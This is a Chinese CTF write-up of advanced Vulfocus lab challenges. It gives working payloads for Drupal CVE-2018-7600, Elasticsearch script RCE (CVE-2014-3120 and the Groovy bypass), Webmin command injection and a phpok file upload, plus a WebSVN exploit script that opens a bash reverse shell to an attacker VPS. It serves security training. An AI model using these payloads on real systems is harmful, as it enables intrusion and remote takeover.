Vulfocus靶场竞赛高级部分题解

weske  805天前

作者:F4n、高诺琪、weske@rm -rf /*

赛后写下Vulfocus靶场竞赛高级部分的题解,高级的有些环境还是做不出来~~太菜了

vulfocus/038

漏洞概述

Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(framework)共同构成 该漏洞的产生的根本原因在于Drupal对表单的渲染上,攻击者可以利用该漏洞攻击Drupal系统的网站,执行恶意代码,最后完全控制被攻击的网站。Drupal 8 – (CVE-2018-7600)远程代码执行

解题思路

访问地址是Drupal的页面,Wappalyzer浏览器插件识别到是Drupal8的版本,so...直接使用poc直接打

poc:

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 106.75.119.109:35924
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 115
Content-Type: application/x-www-form-urlencoded

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=ls -l /tmp

image-20220113202614533.png

vulfocus/077

漏洞概述

Nostromo nhttpd是一款开源的Web服务器。 Nostromo由于在验证URL安全性方面存在缺陷,导致目录穿越,任何人都可以遍历系统中任何文件。因此未经过身份验证的远程攻击者可以强制服务器指向/bin/sh这样的shell文件,借此执行任意命令。

解题思路

打开页面能够看见nostromo 1.9.6

Nostromo httpd 在版本<= 1.9.6中有个rce的漏洞,直接拿exp打

exp:jas502n/CVE-2019-16278:目录横向到远程执行代码

image-20220113170351027.png

vulfocus/076

同vulfocus/038都是CVE-2018-7600

vulfocus/075

漏洞概述

Websvn是一个应用软件。一个在线Subversion存储库浏览器,WebSVN 2.6.1之前版本存在安全漏洞,其search.php?search= 参数下过滤不严谨导致RCE。

解题思路

进入页面后,在页面底下可以看到

Powered by WebSVN 2.6.0 和 Apache Subversion 1.14.1

在WebSVN < 2.6.1中有个rce的漏洞

详细分析及poc:漏洞预警:CVE-2021-32305 WebSVN 2.6.0 RCE_土豆.exe的博客


import requests
import argparse
from urllib.parse import quote_plus

PAYLOAD = "/bin/bash -c 'bash -i >& /dev/tcp/vps地址/vps端口 0>&1'"
REQUEST_PAYLOAD = '/search.php?search=";{};"'

parser = argparse.ArgumentParser(description='Send a payload to a websvn 2.6.0 server.')
parser.add_argument('target', type=str, help="Target URL.")

args = parser.parse_args()

if args.target.startswith("http://") or args.target.startswith("https://"):
 target = args.target
else:
 print("[!] Target should start with either http:// or https://")
 exit()

requests.get(target + REQUEST_PAYLOAD.format(quote_plus(PAYLOAD)))

print("[*] Request send. Did you get what you wanted?")

执行python脚本后,vps上获得shell

image-20220113172005455.png

vulfocus/058

漏洞概述

Elasticsearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。 ElasticSearch 1.2版本之前支持动态脚本。漏洞是通过_search方法的参数传入恶意代码,远程执行任意MVEL表达式和Java代码。(CVE-2014-3120远程代码执行)

解题思路

启动环境后,可以看到版本为1.1.1,在Elasticsearch < 1.2版本之前支持动态脚本。(CVE-2014-3120)远程代码执行

向Elasticsearch中添加一条数据

POST /website/blog/

{
 "name": "test"
}


image-20220113173845286.png

然后发送payload,执行任意命令。

POST /_search?pretty
   
{
   "size": 1,
   "query": {
     "filtered": {
       "query": {
         "match_all": {
        }
      }
    }
  },
   "script_fields": {
       "command": {
           "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"ls /tmp\").getInputStream()).useDelimiter(\"\\\\A\").next();"
      }
  }
}

image-20220113180216876.png

vulfocus/057

漏洞概述

CVE-2014-3120后,ElasticSearch默认的动态脚本语言换成了Groovy,并增加了沙盒,但默认仍然支持直接执行动态语言。本漏洞既是一个沙盒绕过,也是一个Goovy代码执行漏洞。

解题思路

启动环境后,可以看到版本为1.4.2,在Elasticsearch < 1.3.8 && 1.4.x ~ 1.4.3版本之前默认仍然支持直接执行动态语言.

向Elasticsearch中添加一条数据

POST /website/blog/

{
 "name": "test"
}


image-20220113175744400.png

然后发送payload,执行任意命令。

POST /_search?pretty

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"ls /tmp\").getText()"}}}


image-20220113175935558.png

vulfocus/044

解题思路

点开页面后是一个Webmin的界面,使用root\root登入


clip_image001.png

在Others处有个Command Shell,点进去之后可以执行任意命令


image-20220113180701428.png

vulfocus/045

解题思路

同vulfocus/018和vulfocus/019一样

在session_login.cgi的页面发个包修改一下就可以了

POST /password_change.cgi HTTP/1.1

user=rootxx&pam=&expired=2&old=test|ls /tmp&new1=test2&new2=test2


image-20220113181422782.png

vulfocus/048

漏洞概述

phpok是一套采用PHP+MySQL开发的企业网站系统,其4.8.338及4.9.015版本存在任意文件上传漏洞,攻击者可利用漏洞上传任意文件,获取网站权限。

解题思路

在页面最底下有提示这个网站使用的是phpok , 通过搜索引擎得知有个任意文件上传的漏洞(CVE-2018-12491)

访问admin.php后台界面,用admin/admin登入

功能菜单 -> 工具 -> 附件分类管理


clip_image001-16420692465661.png

点击编辑,然后添加支持php


clip_image002-16420692465672.png

在资源管理 -> 添加资源 -> 上传一句话

clip_image004-16420692465673.jpg拿flag

clip_image006-16420692465734.jpg

vulfocus/052

漏洞概述

Jupyter Notebook是一套用于创建、共享代码和说明性文本文档的开源Web应用程序。 Jupyter Notebook可直接使用命令行执行任意命令。

解题思路

访问页面时一个Jupyter Notebook的页面

点击 New -> Terminal

image-20220113182728918.png

直接执行命令

image-20220113182838706.png

赛后感想

还是得多复现漏洞,多做笔记。

比赛体验不错,奖励很好,下次还来!

最新评论

昵称
邮箱
提交评论